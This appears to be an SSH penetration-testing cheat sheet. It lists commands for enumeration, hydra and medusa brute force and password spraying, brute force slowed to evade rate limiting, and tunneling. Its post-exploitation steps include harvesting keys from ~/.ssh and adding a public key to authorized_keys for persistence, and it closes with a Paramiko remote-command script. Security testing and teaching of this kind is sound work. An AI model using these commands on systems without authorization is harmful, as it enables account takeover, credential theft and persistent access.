SSH Pentesting

Category	Command/Tool	Description
Enumerating SSH Configuration	nmap -p 22 --script ssh2-enum-algos <target-ip>	Check SSH algorithms and encryption methods.
	nmap -sV -p 22 --script ssh-hostkey <target-ip>	Discover SSH version and host key.
Brute-Forcing SSH Credentials	hydra -l <username> -P <password_list> ssh://<target-ip>	Brute-force SSH passwords with Hydra.
	medusa -h <target-ip> -u <username> -P <password_list> -M ssh	Brute-force SSH passwords with Medusa.
Password Spraying	hydra -L <user_list> -p <common_password> ssh://<target-ip>	Test a common password across multiple usernames.
SSH Key-Based Authentication	ssh -i <private_key> <username>@<target-ip>	Attempt login with a private key.
Weak SSH Configuration Testing	ssh-audit <target-ip>	Identify weak SSH configurations.
Banner Grabbing	nc <target-ip> 22	Retrieve SSH banner details.

Testing Misconfigurations	Check for default credentials, hardcoded passwords, or use rockyou.txt for password lists.	Test weak or default configurations.
Exploiting Known Vulnerabilities	searchsploit openssh <version>	Search for exploits matching the SSH version.
Port Forwarding and Tunneling	ssh -L <local-port>:<remote-host>:<remote-port> <username>@<target-ip>	Local port forwarding for SSH tunneling.
	ssh -R <remote-port>:<local-host>:<local-port> <username>@<target-ip>	Remote port forwarding for reverse tunneling.
Post-Exploitation	sudo -l	Check for privilege escalation opportunities.
	Check ~/.ssh/ for keys and other sensitive data.	Locate private SSH keys.
MITM and Traffic Analysis	Use tools like mitmproxy to intercept SSH traffic (if SSL/TLS downgrade is possible).	Analyze SSH traffic in a controlled environment.
Bypassing IP Whitelisting	ssh -J <user1>@<jump_host> <user2>@<target-host>	Chain multiple SSH hops using ProxyJump.

Passwordless Login Testing	echo "<your_public_key>" >> ~/.ssh/authorized_keys	Add your public key to the target's authorized keys.
Time-Based Attack	Measure response times for authentication errors using SSH commands.	Detect patterns in timing to infer valid accounts.
Slow Brute-Force	hydra -l <username> -P <password_list> -t 1 -w 5 ssh://<target-ip>	Slow brute-forcing to bypass rate-limiting.
Custom Exploits	Write custom scripts with Python's Paramiko library import paramiko client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect('<target-ip>', username='<username>', password='<password>') stdin, stdout, stderr = client.exec_command('ls -la') print(stdout.read().decode()) client.close() .	Run automated commands via SSH.
Advanced Tools	Metasploit	Use auxiliary/scanner/ssh modules for automated scanning and exploitation.
	Pwncat	Manage post-exploitation SSH sessions with an interactive tool.